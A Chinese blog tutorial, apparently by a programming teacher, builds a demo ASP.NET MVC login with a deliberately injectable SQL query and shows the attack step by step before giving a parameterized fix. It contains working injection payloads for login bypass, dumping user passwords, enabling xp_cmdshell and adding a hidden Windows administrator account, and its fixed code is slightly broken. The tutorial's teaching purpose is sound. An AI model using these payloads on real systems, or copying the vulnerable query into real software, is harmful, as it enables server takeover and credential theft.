浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查。
可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都能登录了。不能这么写!”
“呦?小伙子这都知道了?那你说说看 啥是注入?注入只能拿来绕过登录么?”
好吧,竟然在老子面前装逼,看来不给你点儿颜色看看,你还真是不明白天有多高。。
于是乎。。哈哈。大清早的,轻松在班里装了一手好逼。。
呵呵。不说了,下面我把那个项目重写一下发上来吧。演示一下注入有哪些危害。怎么避免等。
(*^_^*) 大牛勿喷。
▁▃▅ 浅谈SQL注入风险 - 一个Login拿下Server ▅▃▁
目录:
本文主要就是介绍SQL注入基本手法,危害,以及如何解决。
技术有点渣渣,大牛勿喷。。。。
一、数据库。
只创建了一个Admin表,结构如下:
create table Admin ( Id ,) not null, Username ) not null, Password ) not null ) go
插入三条测试数据如下:

二、Web项目
这里为了演示,所以我只搭建了一个简单的三层结构(ASP.NET MVC作为UI,DAL,BLL)以及模型Model:

1. Model模型层的AdminInfo.cs:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Guying.BlogsDemo.Model
{
/// <summary>
/// Admin 模型
/// </summary>
public class AdminInfo
{
/// <summary>
/// 编号
/// </summary>
public int Id { get; set; }
/// <summary>
/// 账号
/// </summary>
public string Username { get; set; }
/// <summary>
/// 密码
/// </summary>
public string Password { get; set; }
}
}
AdminInfo.cs
2. Web.config添加连接字符串:
<connectionStrings>
<add name="BlogDemo" connectionString="server=.;database=BlogDemo;uid=sa;pwd=LonelyShadow" providerName="System.Data.SqlClient"/>
</connectionStrings>
3. DAL数据层的DBHelper.cs辅助类:
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Linq;
using System.Text;
namespace Guying.BlogsDemo.DAL
{
/// <summary>
/// 数据访问辅助类
/// </summary>
public class DBHelper
{
/// <summary>
/// BlogDemo 数据库链接字符串
/// </summary>
public static readonly string CONNECTIONSTRING = ConfigurationManager.ConnectionStrings["BlogDemo"].ConnectionString;
}
}
DBHelper.cs
4. DAL数据层的AdminService.cs中写了一个登录的Login方法(SQL存在注入):
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.SqlClient;
using Guying.BlogsDemo.Model;
namespace Guying.BlogsDemo.DAL
{
/// <summary>
/// Admin 数据提供
/// </summary>
public class AdminService
{
/// <summary>
/// Admin 登录
/// </summary>
/// <param name="adminInfo">登录目标对象</param>
/// <returns>返回结果对象,null为登录失败</returns>
public AdminInfo Login(AdminInfo adminInfo)
{
AdminInfo result = null;
string sql = string.Format(" select Id,Username,Password from Admin where Username='{0}' and Password='{1}' ", adminInfo.Username, adminInfo.Password);
using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING))
{
conn.Open();
using (SqlCommand comm = new SqlCommand(sql, conn))
{
using (SqlDataReader reader = comm.ExecuteReader())
{
if (reader.Read())
{
result = new AdminInfo()
{
Id = (int)reader["Id"],
Username = reader["Username"].ToString(),
Password = reader["Password"].ToString()
};
}
}
}
}
return result;
}
}
}
AdminService.cs(SQL存在注入)
5. BLL业务逻辑的AdminManager.cs:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Guying.BlogsDemo.DAL;
using Guying.BlogsDemo.Model;
namespace Guying.BlogsDemo.BLL
{
public class AdminManager
{
private AdminService _AdminService = null;
public AdminManager()
{
if (_AdminService==null)
{
_AdminService = new AdminService();
}
}
/// <summary>
/// Admin 登录
/// </summary>
/// <param name="adminInfo">登录目标对象</param>
/// <returns>返回结果对象,null为登录失败</returns>
public AdminInfo Login(AdminInfo adminInfo)
{
return _AdminService.Login(adminInfo);
}
}
}
AdminManager.cs
6. WebUI层的HomeController:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using Guying.BlogsDemo.Model;
using Guying.BlogsDemo.BLL;
using System.Text;
namespace Guying.BlogsDemo.WebUI.Controllers
{
public class HomeController : Controller
{
[HttpGet]
public ActionResult Login()
{
return View();
}
[HttpPost]
public ActionResult Login(AdminInfo adminInfo)
{
AdminManager _AdminManager = new AdminManager();
adminInfo = _AdminManager.Login(adminInfo);
JsonResult json = new JsonResult() { Data = adminInfo, ContentEncoding = Encoding.UTF8 };
return json;
}
}
}
WebUI的HomeController.cs
7. WebUI的Views/Home/Login:
@model Guying.BlogsDemo.Model.AdminInfo
@{
ViewBag.Title = "Login";
}
<link href="~/CSS/home.login.css" rel="stylesheet" />
<div class="box-max">
<h2>Login</h2>
<hr />
@using (Html.BeginForm())
{
@Html.AntiForgeryToken()
@Html.ValidationSummary(true)
<table>
<tr>
<th>账号:</th>
<td>
@Html.EditorFor(model => model.Username)
@Html.ValidationMessageFor(model => model.Username)
</td>
</tr>
<tr>
<th>
密码:
</th>
<td>
@Html.EditorFor(model => model.Password)
@Html.ValidationMessageFor(model => model.Password)
</td>
</tr>
<tr>
<td colspan="2" align="center">
<input type="submit" value="登 录" />
</td>
</tr>
</table>
}
</div>
Views/Home/Login.cshtml
8. WebUIHome/Login的css:
*{transition:all 0.3s;}
body{margin:0px; padding:0px; background-color:#F8F8F8;}
.box-max{ width:500px; margin:100px auto; border:1px solid #CCC; padding:10px; border-radius:10px; background-color:#FFFFFF;}
.box-max table{width:100%;}
.box-max table tr{line-height:40px;}
.box-max table th{text-align:right;}
.box-max table td input{width:100%;}
.box-max table tr:last-child input{width:auto; padding:5px 10px; background-color:#FFF; border:1px solid black; border-radius:5px; cursor:pointer;}
.box-max table tr:last-child input:hover{background-color:#EFEFEF; text-decoration:underline;}
home.login.css
9. 运行结果:

三、注入
1. 废话不多说、直接测试注入。
账号: ' or 1=1 -- ,密码(随意): fuck ,结果如下:

你还在认为注入只是为了绕过登录进入网站么?
那你就错了。

竟然返回的是一个包含整个用户信息的Json?!
这也是一个程序设计的严重不当!
不知道大家前阵子还记得某酒店、某招聘网站,就是因为移动App,被人抓包,截取到了一个request,提交id,则会返回其所有基本信息。
最后导致千万级数据泄露。
也就是类似于下面这样操作:
2. 获取所有用户信息:
这里需要主键字段,我就不注入检测了,假设我们已经测出了主键为ID。
那么我们可以登录这样写(密码随意):
账号: ' or (1=1 and Id=1) -- ,返回结果: {"Id":1,"Username":"admin","Password":"admin1234"} ;
账号: ' or (1=1 and Id=2) -- ,返回结果: {"Id":2,"Username":"zhangsan","Password":"666666"} ;
账号: ' or (1=1 and Id=3) -- ,返回结果: {"Id":3,"Username":"lisi","Password":"888888"}
如果我们写一个程序,循环发送这个请求,将获得的数据保存,那么你的用户数据裤子是不是也要被脱得干干净净了?
3. 下一步,经典的开启xp_cmdshell(看不懂的自行Google):
账号: ' or 1=1; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; --
后面操作的结果就不用看了,也是返回前面登录用户的Json,但是已经成功执行后面的代码了。
然后,xp_cmdshell已经获取了,你还想干什么不行?
这里我只做一个概念性的测试,演示一下其危害。
根据项目的不同,注入可能还会导致更严重的后果。
当然,你也可以创建文件,添加任务等,例如这样:
添加隐藏账号,并提升管理员组:
账号填写: ' or 1=1; exec xp_cmdshell 'echo net user $fuck 123456 /add > D:\a.bat & echo net localgroup administrators $fuck /add >> D:\a.bat & echo exit >> D:\a.bat' --
修改权限/修改所有者:
账号填写: ' or 1=1; exec xp_cmdshell 'icacls D:\a.bat /setowner everyone & icacls D:\a.bat /grant everyone:F' --
执行:
账号填写: ' or 1=1; exec xp_cmdshell 'D: & D:\a.bat' --
结果:

好吧,上面DOS你懂得。
当然,你还可以通过DOS xxxxxxxxxxxxxxxxxxxxxxxxxxxxx。。。
四、如何避免
这个应该很简单吧,其实就是我们日常编码习惯的问题。
登录SQL可以改成通过SqlParameter传参的方式,返回结果可以设置返回bool来标识成功/失败,修改后的方法如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data.SqlClient;
using Guying.BlogsDemo.Model;
namespace Guying.BlogsDemo.DAL
{
/// <summary>
/// Admin 数据提供
/// </summary>
public class AdminService
{
/// <summary>
/// Admin 登录
/// </summary>
/// <param name="adminInfo">登录目标对象</param>
/// <returns>返回操作结果,true成功 / false失败</returns>
public bool Login(AdminInfo adminInfo)
{
;
string sql = " select count(1) from Admin where Username=@Username and Password=@Password ";
using (SqlConnection conn = new SqlConnection(DBHelper.CONNECTIONSTRING))
{
conn.Open();
using (SqlCommand comm = new SqlCommand(sql, conn))
{
comm.Parameters.AddRange(new[] { new SqlParameter("@Username", adminInfo.Username), new SqlParameter("@Password", adminInfo.Password) });
count = (int)comm.ExecuteScalar();
}
}
;
}
}
}
修改后的登录方法
平时写代码,多注意下这些问题。
当然,数据库的存储过程也不是没卵用的咸鱼,记得多用。
五、 没了
就是演示一下危害,什么年代了都,不应该出现注入的问题了吧。
毕竟每个项目不一样,指不定注入还会导致什么问题呢。
最后。。。。。。。。。。。大牛勿喷。么么哒~
浅谈SQL注入风险 - 一个Login拿下Server的更多相关文章
- 浅谈SQL注入风险 - 一个Login拿下Server(转)
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 【sql注入】浅谈sql注入中的Post注入
[sql注入]浅谈sql注入中的Post注入 本文来源:i春秋学院 00x01在许多交流群中,我看见很多朋友对于post注入很是迷茫,曾几何,我也是这样,因为我们都被复杂化了,想的太辅助了所以导致现在 ...
- 浅谈SQL注入
先看一个sql语句: select * from admin where username='(此处为用户输入的数据)'; 在没有任何过滤的情况下,如果用户输入:' or 1=1 -- 这条语句就为: ...
- 浅谈SQL注入漏洞以及防范策略
--HeShiwei 2014-5-15 什么是SQL注入 SQL注入,指的是用户通过向登录框输入恶意字符,利用代码的字符串拼接漏洞进行网站注入攻击,最终导致整个网站用户表信息泄露的攻击方式.黑客就是 ...
- 浅谈 SQL 注入(注入篇)
一.SQL注入简介 1.1 什么是SQL注入 在用户可控制的参数上过滤不严或没有任何限制,使得用户将传入的参数(如URL,表单,http header)与SQL语句合并构成一条 SQL语句传递给web ...
- 转【】浅谈sql中的in与not in,exists与not exists的区别_
浅谈sql中的in与not in,exists与not exists的区别 1.in和exists in是把外表和内表作hash连接,而exists是对外表作loop循环,每次loop循环再对内表 ...
- 浅谈sql中的in与not in,exists与not exists的区别
转 浅谈sql中的in与not in,exists与not exists的区别 12月12日北京OSC源创会 —— 开源技术的年终盛典 » sql exists in 1.in和exists ...
- 浅谈sql 、linq、lambda 查询语句的区别
浅谈sql .linq.lambda 查询语句的区别 LINQ的书写格式如下: from 临时变量 in 集合对象或数据库对象 where 条件表达式 [order by条件] select 临时变量 ...
- 如何使用PDO查询Mysql来避免SQL注入风险?ThinkPHP 3.1中的SQL注入漏洞分析!
当我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制.虽然可以用mysql_real_escape_ ...
随机推荐
- ASP.NET MVC5+EF6+EasyUI 后台管理系统(74)-微信公众平台开发-自定义菜单
系列目录 引言 1.如果不借用Senparc.Weixin SDK自定义菜单,编码起来,工作量是非常之大 2.但是借助SDK似乎一切都是简单得不要不要的 3.自定义菜单无需要建立数据库表 4.自定义菜 ...
- C#多线程之线程池篇2
在上一篇C#多线程之线程池篇1中,我们主要学习了如何在线程池中调用委托以及如何在线程池中执行异步操作,在这篇中,我们将学习线程池和并行度.实现取消选项的相关知识. 三.线程池和并行度 在这一小节中,我 ...
- iOS逆向工程之Theos
如果你对iOS逆向工程有所了解,那么你对Tweak并不陌生.那么由Tweak我们又会引出Theos, 那么什么是Theos呢,简单一句话,Theos是一个越狱开发工具包,Theos是越狱开发工具的首先 ...
- Linux碎碎念
在学习Linux过程中,有许多有用的小技巧.如果放在纸质的笔记本上,平时查阅会相当不方便.现在以一种“碎碎念”的方式,汇集整理在此,目前还不是很多,但随着学习.工作的深入,后续会陆陆续续添加更多的小技 ...
- H3 BPM让天下没有难用的流程之产品概述
一.产品简介 BPM(Business Process Management),是指根据业务环境的变化,推进人与人之间.人与系统之间以及系统与系统之间的整合及调整的经营方法与解决方案的IT工具. H3 ...
- Android 旋转屏幕--处理Activity与AsyncTask的最佳解决方案
一.概述 运行时变更就是设备在运行时发生变化(例如屏幕旋转.键盘可用性及语言).发生这些变化,Android会重启Activity,这时就需要保存activity的状态及与activity相关的任务, ...
- Android之解析XML
1.XML:可扩展标记语言. 可扩展标记语言是一种很像超文本标记语言的标记语言. 它的设计宗旨是传输数据,而不是显示数据. 它的标记没有被预定义.需要自行定义标签. 它被设计为具有自我描述性. 是W3 ...
- "过期不候"--具备生命周期的数据的技术实现方案
"过期不候"--具备生命周期的数据的技术实现方案 1 引言 本文可以作为之前的一个 原理性文章 对应的 技术实现部分 . 此处给出其上文的直达电梯: http://www.cn ...
- 【Java并发编程实战】-----“J.U.C”:CyclicBarrier
在上篇博客([Java并发编程实战]-----"J.U.C":Semaphore)中,LZ介绍了Semaphore,下面LZ介绍CyclicBarrier.在JDK API中是这么 ...
- Sublime Text 全程指引 by Lucida
作者:Lucida 微博:@peng_gong 豆瓣:@figure9 博客园:@figure9 原文链接:http://zh.lucida.me/blog/sublime-text-complete ...